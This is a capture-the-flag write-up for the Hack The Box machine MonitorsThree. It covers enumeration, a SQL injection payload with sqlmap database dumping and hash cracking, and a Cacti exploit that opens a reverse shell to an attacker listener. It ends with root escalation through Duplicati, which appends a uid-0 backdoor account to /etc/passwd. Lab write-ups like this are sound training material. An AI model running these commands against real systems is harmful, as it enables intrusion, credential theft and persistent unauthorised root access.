HTB Writeup - MonitorsThree
Enumeration
As usual, we start off with an nmap
scan to get a listing of open ports and running services:
sudo nmap -sS -sV -sC -oN scan_full.log -p- -T4 -Pn -n -v $target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
8084 is likely a false positive as it isn’t always identified when running various nmap
scans.
There is a redirection to monitorsthree.htb
on port 80 by nginx
so we must add this to the /etc/hosts
file so we can enumerate the web application.
For enumerating the web server, we should start up burpsuite
first and run the browser through this proxy to record as much as possible about the web traffic to the host.
In the background, it is a good idea to start some vhost
and directory busting
against the web application. For vhost
enumeration, I prefer ffuf
:
ffuf -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://monitorsthree.htb/ -H 'Host: FUZZ.monitorsthree.htb' -t 20 -fs 13560
And for directory busting
, I use feroxbuster
initially:
feroxbuster -u http://monitorsthree.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
The vhost
enumeration using ffuf
reveals a cacti
subdomain and when we go to it in the browser (after adding cacti.monitorsthree.htb
to the /etc/hosts
file of course), we get redirected to a cacti
application login screen. Cacti is another type of network monitoring tool.
There are multiple exploits for cacti
available, but we need credentials to exploit them.
Exploitation of SQL Injection
There is not much functionality in the monitorsthree.htb
application, however there is some login functionality. Again, we would need credentials to access this typically, but there is a Forgot Password
button which links to http://monitorsthree.htb/forgot_password.php
. Trying this input with a SQLi prompt of pentester ' or 1=1 --
will generate an error in the web page of:
Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
We have identified a possible SQLi exploit. I always have burpsuite
running in the background while analyzing web applications, and this meant I had captured a request in the proxy. I removed the SQLi attempt and made this HTTP request:
POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://monitorsthree.htb
Connection: keep-alive
Referer: http://monitorsthree.htb/forgot_password.php
Cookie: PHPSESSID=fhu8bjkrb87ue91n077tlpso82
Upgrade-Insecure-Requests: 1
username=pentester
I saved this as forgot-password.req
and ran sqlmap
against it:
sqlmap -r forgot-password.req --batch -p username
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=pentester' AND (SELECT 3964 FROM (SELECT(SLEEP(5)))yLgJ) AND 'dZPh'='dZPh
---
Time-based blind injections can be very slow…
But we can use options like --dbs
and --tables
to get enough information to then run this:
sqlmap -r forgot-password.req --batch -p username -D monitorsthree_db -T users --dump
Which will dump the credentials of the users in the DB. The one that we can crack is the Super Admin account owned by Marcus Higgins.
We can crack it with hashcat
:
hashcat -O -m 0 hash /usr/share/wordlists/rockyou.txt
Use mode 0
because it’s only a very weak MD5 hash.
We can then take this password and successfully log into the portal at http://cacti.monitorsthree.htb
using the credentials of admin:<redacted>
(Password found above).
Exploitation of Cacti
Firstly, git clone
the exploit PoC directory locally and cd
to it:
git clone https://github.com/Safarchand/CVE-2024-25641.git
cd CVE-2024025641
Set up a nc
listener:
rlwrap nc -lnvp <attack_host_port>
And then trigger the exploit with:
python3 exploit.py --url http://cacti.monitorsthree.htb -u admin -p '<redacted>' -i <attack_host_ip> -l <attack_host_port>
You will end up with a shell on the machine:
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.30] 50694
/bin/sh: 0: cant access tty; job control turned off
$ ls -la
total 24
drwxr-xr-x 5 www-data www-data 4096 Aug 31 06:39 .
drwxr-xr-x 20 www-data www-data 4096 May 18 21:56 ..
-rw-r--r-- 1 www-data www-data 1586 Dec 20 2023 index.php
drwxr-xr-x 2 www-data www-data 4096 May 18 21:56 script_queries
drwxr-xr-x 2 www-data www-data 4096 May 18 21:56 script_server
drwxr-xr-x 2 www-data www-data 4096 May 18 21:56 snmp_queries
$ whoami
www-data
$
Escalation to Marcus
As www-data
, it is possible to read through all the web application files located under /var/www/html
including the cacti
application files. cacti
also uses MySQL as the database.
Looking through the cacti
install files reveals a globals.php
file with information regarding the username and password for the MySQL database.
Then log into the MySQL instance from the low privileged shell using:
mysql -h 127.0.0.1 -u cactiuser -p
Enter the password when the prompt appears, and then you should have access to the MySQL prompt and can query the database. There are many tables in the cacti
database, but the only one of interest to us at the moment is the user_auth
table. We can view the credentials stored here using:
MariaDB [cacti]> select * from user_auth;
There are several credentials listed. We can attempt to crack all of them with hashcat
:
hashcat -O -m 3200 db_hashes /usr/share/wordlists/rockyou.txt
This will crack the password for the marcus
user. This credential will fail to SSH to the host as the authentication is set up to require that the user pass the id_rsa
to enter. So to get this, we must first su marcus
, enter the password and exfiltrate the SSH key. I did this by using cat
and simply copying it to my machine.
Escalation to Root
Running netstat -ano
reveals that there is something listening on port 8200. We can try to access it using a local port forward. Drop the current SSH connection and restart it using:
ssh -L 8200:localhost:8200 -i id_rsa marcus@$target
Then, in the web browser, you can navigate to http://localhost:8200
and see a Duplicati login.
I followed these instructions exactly, to bypass the Duplicati login, https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee
You will need burpsuite
, cyberchef
and have to execute the JavaScript code in the context of the Duplicati site.
I found escalation using Duplicati to be quite tedious. Firstly, it’s running in Docker so every path must be relative to the mounted path. Notice:
marcus@monitorsthree:/opt$ cat docker-compose.yml
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
The volume mounts the root /
as the /source
directory in the container. So if your trying to target /root/root.txt
for example, that path, in the context of the container trying to get it from the host, must be /source/root/root.txt
. I kept doing this wrong several times and wondered, stupidly, why it wasn’t working. Consider also that its running as the root
user, and it’s a backup program, with access to the /
root file system… It can do anything, like take a backup of /etc/shadow
.
The dirtiest way to get the root.txt
flag, is to just simply create a backup job and backup and restore the flag. Box done. But persistence as root is FAR better.
It’s actually really simple. Firstly, cp /etc/passwd /dev/shm/
to take a copy of the passwd
file on the host.
Run echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /dev/shm/passwd
to add the credential of pentester:Pentester123!
to the copied passwd
file.
Create a backup job in Duplicati to back up /source/dev/shm/passwd
. Trigger the backup. Select restore, choose the passwd
file, and select the restore location as /source/etc
and make sure Overwrite
is ticked. Click restore and if all was set correctly, the host’s /etc/passwd
now has the modified version.
Get root
like privileges by the going su pentester
, entering Pentester123!
and verifying you have a root
shell.